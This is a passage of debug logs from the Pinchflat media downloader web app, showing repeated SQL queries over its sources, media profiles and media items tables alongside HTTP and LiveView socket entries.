THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 12:44:42.450 [debug] QUERY OK source="sources" db=7.4ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 12:44:42.451 [info] Sent 200 in 15ms 12:44:42.500 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "P3sAJBkhDQ8tQA42OEMNQBpCBxNCRR53y2wTnj_EfmeWz9u1XoKtz1F4", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 12:44:42.506 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 12:44:42.510 [debug] QUERY OK source="sources" db=4.2ms idle=68.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 12:44:42.515 [debug] QUERY OK source="sources" db=4.4ms idle=72.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 12:44:42.515 [debug] Replied in 9ms 12:44:48.128 [info] GET /sources/1 12:44:48.128 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 12:44:48.129 [debug] QUERY OK source="sources" db=0.0ms idle=547.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.129 [debug] QUERY OK source="media_profiles" db=0.0ms idle=547.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:44:48.129 [debug] QUERY OK source="tasks" db=0.2ms idle=547.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 12:44:48.130 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=548.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [640, 31] 12:44:48.130 [debug] QUERY OK source="settings" db=0.0ms idle=399.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:48.130 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:48.130 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:44:48.131 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.132 [debug] QUERY OK source="media_items" db=0.8ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:44:48.133 [debug] QUERY OK source="media_items" db=0.9ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:44:48.133 [debug] QUERY OK source="sources" db=0.0ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.133 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 12:44:48.134 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:44:48.134 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.135 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 12:44:48.136 [debug] QUERY OK source="media_items" db=1.0ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:44:48.137 [info] Sent 200 in 8ms 12:44:48.167 [info] CONNECTED TO Phoenix.LiveView.Socket in 17µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "cgEAOxMNOh8tXhElJz8pEzNgLVdIQW0o4HwKdFhUfszDeEQbqMa0p55k", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 12:44:48.174 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "pending", "source_id" => 1} 12:44:48.175 [debug] QUERY OK source="sources" db=0.1ms idle=41.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.176 [debug] QUERY OK source="media_items" db=0.9ms idle=40.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:44:48.177 [debug] QUERY OK source="media_items" db=0.9ms idle=41.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:44:48.177 [debug] Replied in 2ms 12:44:48.177 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "downloaded", "source_id" => 1} 12:44:48.178 [debug] QUERY OK source="sources" db=0.0ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.178 [debug] QUERY OK source="media_items" db=0.1ms idle=41.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 12:44:48.180 [debug] QUERY OK source="media_items" db=1.8ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:44:48.180 [debug] Replied in 2ms 12:44:48.180 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "other", "source_id" => 1} 12:44:48.180 [debug] QUERY OK source="sources" db=0.0ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:44:48.182 [debug] QUERY OK source="media_items" db=1.3ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 12:44:48.183 [debug] QUERY OK source="media_items" db=1.2ms idle=4.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" 